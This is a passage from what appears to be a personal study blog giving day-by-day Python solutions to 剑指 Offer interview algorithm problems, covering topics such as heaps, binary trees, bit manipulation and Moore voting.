0:</span><br><span class="line"> self.result = root.val</span><br><span class="line"> dfs(root.left)</span><br><span class="line"> self.k = k </span><br><span class="line"> dfs(root)</span><br><span class="line"> return self.result</span><br></pre></td></tr></table></figure>
<h3 id="day16"><a href="#day16" class="headerlink" title="day16"></a>day16</h3><h4 id="面试题61-扑克牌中的顺子"><a href="#面试题61-扑克牌中的顺子" class="headerlink" title="面试题61. 扑克牌中的顺子"></a>面试题61. 扑克牌中的顺子</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def isStraight(self, nums: List[int]) -> bool:</span><br><span class="line"> repeat = set()</span><br><span class="line"> max1, min1 = 0, 14</span><br><span class="line"> for num in nums:</span><br><span class="line"> if num == 0:</span><br><span class="line"> continue</span><br><span class="line"> if num in repeat:</span><br><span class="line"> return False</span><br><span class="line"> max1 = max(num, max1)</span><br><span class="line"> min1 = min(num, min1)</span><br><span class="line"> repeat.add(num)</span><br><span class="line"> return max1 - min1 < 5</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="面试题45-把数组排成最小的数"><a href="#面试题45-把数组排成最小的数" class="headerlink" title="面试题45. 把数组排成最小的数"></a>面试题45. 把数组排成最小的数</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def minNumber(self, nums: List[int]) -> str:</span><br><span class="line"> def sort_rule(x, y):</span><br><span class="line"> a, b = x + y, y + x</span><br><span class="line"> if a > b:</span><br><span class="line"> return 1</span><br><span class="line"> elif a < b:</span><br><span class="line"> return -1</span><br><span class="line"> else:</span><br><span class="line"> return 0</span><br><span class="line"> strs = [str(num) for num in nums]</span><br><span class="line"> strs.sort(key = functools.cmp_to_key(sort_rule))</span><br><span class="line"> return ''.join(strs)</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="day17"><a href="#day17" class="headerlink" title="day17"></a>day17</h3><h4 id="剑指-Offer-40-最小的k个数"><a href="#剑指-Offer-40-最小的k个数" class="headerlink" title="剑指 Offer 40. 最小的k个数"></a>剑指 Offer 40. 最小的k个数</h4><p>base quickSort, time: O(n), space: O(logn)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def getLeastNumbers(self, arr: List[int], k: int) -> List[int]:</span><br><span class="line"> if k >= len(arr):</span><br><span class="line"> return arr</span><br><span class="line"> def quickSort(l, r):</span><br><span class="line"> i, j = l, r</span><br><span class="line"> while i < j:</span><br><span class="line"> while i < j and arr[j] >= arr[l]:</span><br><span class="line"> j -= 1</span><br><span class="line"> while i < j and arr[i] <= arr[l]:</span><br><span class="line"> i += 1</span><br><span class="line"> arr[i], arr[j] = arr[j], arr[i]</span><br><span class="line"> arr[i], arr[l] = arr[l], arr[i]</span><br><span class="line"> if i == k:</span><br><span class="line"> return arr[:k]</span><br><span class="line"> elif i < k:</span><br><span class="line"> return quickSort(i + 1, r)</span><br><span class="line"> else:</span><br><span class="line"> return quickSort(l, i - 1)</span><br><span class="line"> return quickSort(0, len(arr) - 1)</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h4 id="剑指-Offer-41-数据流中的中位数"><a href="#剑指-Offer-41-数据流中的中位数" class="headerlink" title="剑指 Offer 41. 数据流中的中位数"></a>剑指 Offer 41. 数据流中的中位数</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">from heapq import *</span><br><span class="line">class MedianFinder:</span><br><span class="line"></span><br><span class="line"> def __init__(self):</span><br><span class="line"> self.A = []</span><br><span class="line"> self.B = []</span><br><span class="line"></span><br><span class="line"> def addNum(self, num: int) -> None:</span><br><span class="line"> if len(self.A) != len(self.B):</span><br><span class="line"> heappush(self.B, -heappushpop(self.A, num))</span><br><span class="line"> else:</span><br><span class="line"> heappush(self.A, -heappushpop(self.B, -num))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> def findMedian(self) -> float:</span><br><span class="line"> if len(self.A) != len(self.B):</span><br><span class="line"> return self.A[0]</span><br><span class="line"> else:</span><br><span class="line"> return (self.A[0] - self.B[0]) / 2</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># Your MedianFinder object will be instantiated and called as such:</span><br><span class="line"># obj = MedianFinder()</span><br><span class="line"># obj.addNum(num)</span><br><span class="line"># param_2 = obj.findMedian()</span><br></pre></td></tr></table></figure>
<h3 id="day18"><a href="#day18" class="headerlink" title="day18"></a>day18</h3><h4 id="剑指-Offer-55-I-二叉树的深度"><a href="#剑指-Offer-55-I-二叉树的深度" class="headerlink" title="剑指 Offer 55 - I. 二叉树的深度"></a>剑指 Offer 55 - I. 二叉树的深度</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, val=0, left=None, right=None):</span><br><span class="line"># self.val = val</span><br><span class="line"># self.left = left</span><br><span class="line"># self.right = right</span><br><span class="line">class Solution:</span><br><span class="line"> def maxDepth(self, root: Optional[TreeNode]) -> int:</span><br><span class="line"> if not root:</span><br><span class="line"> return 0</span><br><span class="line"> return 1 + max(self.maxDepth(root.left), self.maxDepth(root.right))</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-55-II-平衡二叉树"><a href="#剑指-Offer-55-II-平衡二叉树" class="headerlink" title="剑指 Offer 55 - II. 平衡二叉树"></a>剑指 Offer 55 - II. 平衡二叉树</h4><p>recursion from bottom to top<br>time: O(n), space: O(logn)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.left = None</span><br><span class="line"># self.right = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def isBalanced(self, root: TreeNode) -> bool:</span><br><span class="line"> def getHeight(root):</span><br><span class="line"> if not root:</span><br><span class="line"> return 0</span><br><span class="line"> leftHeight = getHeight(root.left)</span><br><span class="line"> if leftHeight == -1:</span><br><span class="line"> return -1</span><br><span class="line"> rightHeight = getHeight(root.right)</span><br><span class="line"> if rightHeight == -1:</span><br><span class="line"> return -1</span><br><span class="line"> if abs(leftHeight - rightHeight) <= 1:</span><br><span class="line"> return 1 + max(leftHeight, rightHeight)</span><br><span class="line"> else:</span><br><span class="line"> return -1</span><br><span class="line"> return getHeight(root) >= 0</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="day19"><a href="#day19" class="headerlink" title="day19"></a>day19</h3><h4 id="剑指-Offer-64-求1-2-…-n"><a href="#剑指-Offer-64-求1-2-…-n" class="headerlink" title="剑指 Offer 64. 求1+2+…+n"></a>剑指 Offer 64. 求1+2+…+n</h4><p>recursion, time: O(n), space: O(n)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def __init__(self):</span><br><span class="line"> self.res = 0</span><br><span class="line"></span><br><span class="line"> def sumNums(self, n: int) -> int:</span><br><span class="line"> n and self.sumNums(n - 1)</span><br><span class="line"> self.res += n</span><br><span class="line"> return self.res</span><br><span class="line"> </span><br></pre></td></tr></table></figure></p>
<p>bit calculation, time: O(n), space: O(1)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def __init__(self):</span><br><span class="line"> self.res = 0</span><br><span class="line"></span><br><span class="line"> def sumNums(self, n: int) -> int:</span><br><span class="line"> A, B = n, n + 1</span><br><span class="line"> def addOne():</span><br><span class="line"> self.res += A</span><br><span class="line"> (B & 1) and addOne()</span><br><span class="line"> B >>= 1</span><br><span class="line"> A <<= 1</span><br><span class="line"> (B & 1) and addOne()</span><br><span class="line"> B >>= 1</span><br><span class="line"> A <<= 1</span><br><span class="line"> (B & 1) and addOne()</span><br><span class="line"> B >>= 1</span><br><span class="line"> A <<= 1</span><br><span class="line"> (B & 1) and addOne()</span><br><span class="line"> B >>= 1</span><br><span class="line"> A <<= 1</span><br><span class="line"> (B & 1) and addOne()</span><br><span class="line"> B >>= 1</span><br><span class="line"> A <<= 1</span><br><span class="line"> (B & 1) and addOne()</span><br><span class="line"> B >>= 1</span><br><span class="line"> A <<= 1</span><br><span class="line"> (B & 1) and addOne()</span><br><span class="line"> B >>= 1</span><br><span class="line"> A <<= 1</span><br><span class="line"> (B & 1) and addOne()</span><br><span class="line"> B >>= 1</span><br><span class="line"> A <<= 1</span><br><span class="line"> (B & 1) and addOne()</span><br><span class="line"> B >>= 1</span><br><span class="line"> A <<= 1</span><br><span class="line"> (B & 1) and addOne()</span><br><span class="line"> B >>= 1</span><br><span class="line"> A <<= 1</span><br><span class="line"> (B & 1) and addOne()</span><br><span class="line"> B >>= 1</span><br><span class="line"> A <<= 1</span><br><span class="line"> (B & 1) and addOne()</span><br><span class="line"> B >>= 1</span><br><span class="line"> A <<= 1</span><br><span class="line"> (B & 1) and addOne()</span><br><span class="line"> B >>= 1</span><br><span class="line"> A <<= 1</span><br><span class="line"> (B & 1) and addOne()</span><br><span class="line"> B >>= 1</span><br><span class="line"> A <<= 1</span><br><span class="line"> return self.res >> 1</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h4 id="剑指-Offer-68-I-二叉搜索树的最近公共祖先"><a href="#剑指-Offer-68-I-二叉搜索树的最近公共祖先" class="headerlink" title="剑指 Offer 68 - I. 二叉搜索树的最近公共祖先"></a>剑指 Offer 68 - I. 二叉搜索树的最近公共祖先</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.left = None</span><br><span class="line"># self.right = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def lowestCommonAncestor(self, root: 'TreeNode', p: 'TreeNode', q: 'TreeNode') -> 'TreeNode':</span><br><span class="line"> result = root</span><br><span class="line"> while True:</span><br><span class="line"> if result.val > p.val and result.val > q.val:</span><br><span class="line"> result = result.left</span><br><span class="line"> elif result.val < p.val and result.val < q.val:</span><br><span class="line"> result = result.right</span><br><span class="line"> else:</span><br><span class="line"> break</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-68-II-二叉树的最近公共祖先"><a href="#剑指-Offer-68-II-二叉树的最近公共祖先" class="headerlink" title="剑指 Offer 68 - II. 二叉树的最近公共祖先"></a>剑指 Offer 68 - II. 二叉树的最近公共祖先</h4><p>recursion, time: O(n), space:O(n)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.left = None</span><br><span class="line"># self.right = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def lowestCommonAncestor(self, root: TreeNode, p: TreeNode, q: TreeNode) -> TreeNode:</span><br><span class="line"> if not root or root.val == p.val or root.val == q.val:</span><br><span class="line"> return root</span><br><span class="line"> left = self.lowestCommonAncestor(root.left, p, q)</span><br><span class="line"> right = self.lowestCommonAncestor(root.right, p, q)</span><br><span class="line"> if not left and not right:</span><br><span class="line"> return None</span><br><span class="line"> elif not left:</span><br><span class="line"> return right</span><br><span class="line"> elif not right:</span><br><span class="line"> return left</span><br><span class="line"> else:</span><br><span class="line"> return root</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="day20"><a href="#day20" class="headerlink" title="day20"></a>day20</h3><h4 id="剑指-Offer-07-重建二叉树"><a href="#剑指-Offer-07-重建二叉树" class="headerlink" title="剑指 Offer 07. 重建二叉树"></a>剑指 Offer 07. 重建二叉树</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.left = None</span><br><span class="line"># self.right = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def buildTree(self, preorder: List[int], inorder: List[int]) -> TreeNode:</span><br><span class="line"> if len(preorder) == 0:</span><br><span class="line"> return None</span><br><span class="line"> cur = TreeNode(preorder[0])</span><br><span class="line"> i = 0</span><br><span class="line"> while True:</span><br><span class="line"> if inorder[i] == preorder[0]:</span><br><span class="line"> break</span><br><span class="line"> i += 1</span><br><span class="line"> cur.left = self.buildTree(preorder[1:1+i], inorder[:i])</span><br><span class="line"> cur.right = self.buildTree(preorder[1+i:], inorder[i+1:])</span><br><span class="line"> return cur</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-16-数值的整数次方"><a href="#剑指-Offer-16-数值的整数次方" class="headerlink" title="剑指 Offer 16. 数值的整数次方"></a>剑指 Offer 16. 数值的整数次方</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def myPow(self, x: float, n: int) -> float:</span><br><span class="line"> if n < 0:</span><br><span class="line"> x, n = 1 / x, -n</span><br><span class="line"> result = 1.0</span><br><span class="line"> while n:</span><br><span class="line"> if n & 1:</span><br><span class="line"> result *= x</span><br><span class="line"> x *= x</span><br><span class="line"> n >>= 1</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="day21"><a href="#day21" class="headerlink" title="day21"></a>day21</h3><h4 id="剑指-Offer-15-二进制中1的个数"><a href="#剑指-Offer-15-二进制中1的个数" class="headerlink" title="剑指 Offer 15. 二进制中1的个数"></a>剑指 Offer 15. 二进制中1的个数</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def hammingWeight(self, n: int) -> int:</span><br><span class="line"> result = 0</span><br><span class="line"> while n > 0:</span><br><span class="line"> result += (n & 1)</span><br><span class="line"> n >>= 1</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-65-不用加减乘除做加法"><a href="#剑指-Offer-65-不用加减乘除做加法" class="headerlink" title="剑指 Offer 65. 不用加减乘除做加法"></a>剑指 Offer 65. 不用加减乘除做加法</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def add(self, a: int, b: int) -> int:</span><br><span class="line"> mask = 1 << 32</span><br><span class="line"> a %= mask</span><br><span class="line"> b %= mask</span><br><span class="line"> while b:</span><br><span class="line"> carry = ((a & b) << 1) % mask</span><br><span class="line"> a = (a ^ b) % mask</span><br><span class="line"> b = carry</span><br><span class="line"> if a & (1 << 31):</span><br><span class="line"> return ~(0xffffffff ^ a)</span><br><span class="line"> else:</span><br><span class="line"> return a</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="day22"><a href="#day22" class="headerlink" title="day22"></a>day22</h3><h4 id="剑指-Offer-56-I-数组中数字出现的次数"><a href="#剑指-Offer-56-I-数组中数字出现的次数" class="headerlink" title="剑指 Offer 56 - I. 数组中数字出现的次数"></a>剑指 Offer 56 - I. 数组中数字出现的次数</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def singleNumbers(self, nums: List[int]) -> List[int]:</span><br><span class="line"> ret = 0</span><br><span class="line"> for num in nums:</span><br><span class="line"> ret ^= num</span><br><span class="line"> m = 1</span><br><span class="line"> while m & ret == 0:</span><br><span class="line"> m <<= 1</span><br><span class="line"> a, b = 0, 0</span><br><span class="line"> for num in nums:</span><br><span class="line"> if m & num:</span><br><span class="line"> a ^= num</span><br><span class="line"> else:</span><br><span class="line"> b ^= num</span><br><span class="line"> return [a, b]</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-56-II-数组中数字出现的次数-II"><a href="#剑指-Offer-56-II-数组中数字出现的次数-II" class="headerlink" title="剑指 Offer 56 - II. 数组中数字出现的次数 II"></a>剑指 Offer 56 - II. 数组中数字出现的次数 II</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def singleNumber(self, nums: List[int]) -> int:</span><br><span class="line"> count = [0] * 32</span><br><span class="line"> for num in nums:</span><br><span class="line"> for i in range(32):</span><br><span class="line"> count[i] += num & 1</span><br><span class="line"> num >>= 1</span><br><span class="line"> result = 0</span><br><span class="line"> for i in range(32):</span><br><span class="line"> result <<= 1</span><br><span class="line"> result |= count[31 - i] % 3</span><br><span class="line"> if result & (1 << 31):</span><br><span class="line"> return ~(result ^ 0xffffffff)</span><br><span class="line"> else:</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="day23"><a href="#day23" class="headerlink" title="day23"></a>day23</h3><h4 id="剑指-Offer-39-数组中出现次数超过一半的数字"><a href="#剑指-Offer-39-数组中出现次数超过一半的数字" class="headerlink" title="剑指 Offer 39. 数组中出现次数超过一半的数字"></a>剑指 Offer 39. 数组中出现次数超过一半的数字</h4><p>ref: <a target="_blank" rel="noopener" href="https://leetcode.cn/problems/shu-zu-zhong-chu-xian-ci-shu-chao-guo-yi-ban-de-shu-zi-lcof/solution/shu-zu-zhong-chu-xian-ci-shu-chao-guo-yi-pvh8/">https://leetcode.cn/problems/shu-zu-zhong-chu-xian-ci-shu-chao-guo-yi-ban-de-shu-zi-lcof/solution/shu-zu-zhong-chu-xian-ci-shu-chao-guo-yi-pvh8/</a><br>摩尔投票法, time: O(n), space: O(1)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def majorityElement(self, nums: List[int]) -> int:</span><br><span class="line"> count, candidate = 0, None</span><br><span class="line"> for num in nums:</span><br><span class="line"> if count == 0:</span><br><span class="line"> candidate = num</span><br><span class="line"> if candidate == num:</span><br><span class="line"> count += 1</span><br><span class="line"> else:</span><br><span class="line"> count -= 1</span><br><span class="line"> return candidate</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h4 id="剑指-Offer-66-构建乘积数组"><a href="#剑指-Offer-66-构建乘积数组" class="headerlink" title="剑指 Offer 66. 构建乘积数组"></a>剑指 Offer 66. 构建乘积数组</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def constructArr(self, a: List[int]) -> List[int]:</span><br><span class="line"> length = len(a)</span><br><span class="line"> ans, tmp = [1] * length, 1</span><br><span class="line"> for i in range(1, length):</span><br><span class="line"> ans[i] = ans[i - 1] * a[i - 1]</span><br><span class="line"> for i in range(length - 2, -1, -1):</span><br><span class="line"> tmp *= a[i + 1]</span><br><span class="line"> ans[i] *= tmp</span><br><span class="line"> return ans</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="day24"><a href="#day24" class="headerlink" title="day24"></a>day24</h3><h4 id="剑指-Offer-14-I-剪绳子"><a href="#剑指-Offer-14-I-剪绳子" class="headerlink" title="剑指 Offer 14- I. 剪绳子"></a>剑指 Offer 14- I. 剪绳子</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def cuttingRope(self, n: int) -> int:</span><br><span class="line"> if n <= 3:</span><br><span class="line"> return n - 1</span><br><span class="line"> quotient, remainder = n // 3, n % 3</span><br><span class="line"> if remainder == 0:</span><br><span class="line"> return 3 ** quotient</span><br><span class="line"> elif remainder == 1:</span><br><span class="line"> return 3 ** (quotient - 1) * 4</span><br><span class="line"> else:</span><br><span class="line"> return 3 ** quotient * 2</span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-57-II-和为s的连续正数序列"><a href="#剑指-Offer-57-II-和为s的连续正数序列" class="headerlink" title="剑指 Offer 57 - II. 和为s的连续正数序列"></a>剑指 Offer 57 - II. 和为s的连续正数序列</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def findContinuousSequence(self, target: int) -> List[List[int]]:</span><br><span class="line"> i, j, s, result = 1, 2, 3, []</span><br><span class="line"> while i < j:</span><br><span class="line"> if s == target:</span><br><span class="line"> result.append(list(range(i, j + 1)))</span><br><span class="line"> if s < target:</span><br><span class="line"> j += 1</span><br><span class="line"> s += j</span><br><span class="line"> else:</span><br><span class="line"> s -= i</span><br><span class="line"> i += 1</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-62-圆圈中最后剩下的数字"><a href="#剑指-Offer-62-圆圈中最后剩下的数字" class="headerlink" title="剑指 Offer 62. 圆圈中最后剩下的数字"></a>剑指 Offer 62. 圆圈中最后剩下的数字</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def lastRemaining(self, n: int, m: int) -> int:</span><br><span class="line"> f = 0</span><br><span class="line"> for i in range(2, n + 1):</span><br><span class="line"> f = (m + f) % i</span><br><span class="line"> return f</span><br><span class="line"></span><br></pre></td></tr></table></figure>
